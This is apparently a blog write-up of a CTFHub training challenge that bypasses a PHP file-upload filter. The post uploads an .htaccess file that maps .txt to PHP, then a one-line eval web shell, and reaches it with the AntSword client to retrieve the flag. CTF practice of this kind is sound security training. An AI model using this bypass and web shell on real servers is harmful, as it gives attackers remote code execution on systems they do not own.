CTFHub_技能树_Web之文件上传——“.htaccess”

–>CTFHub传送门<–

使用工具

  1. Microsoft Edge v84.0.522.40
  2. 中国蚁剑

.htaccess文件

.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。
——百度百科

通过编辑.htaccess文件将特定后缀的文件解析为PHP执行

解题过程

直接上传PHP文件无法上传,题目提示.htaccess文件

首先新建txt文件,写入以下代码

#将txt文件解析为PHP文件执行
AddType application/x-httpd-php .txt

将该.txt文件更改后缀为.htaccess,上传
在这里插入图片描述

再新建一个shell.txt,写入PHP代码

<?php 
echo "PHP Loaded";
eval(@$_POST['a']);
?>

上传成功,访问/upload/shell.txt成功
在这里插入图片描述

使用蚁剑访问得到FLAG
注意URL地址和密码
在这里插入图片描述

欢迎在评论区留言
感谢浏览

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值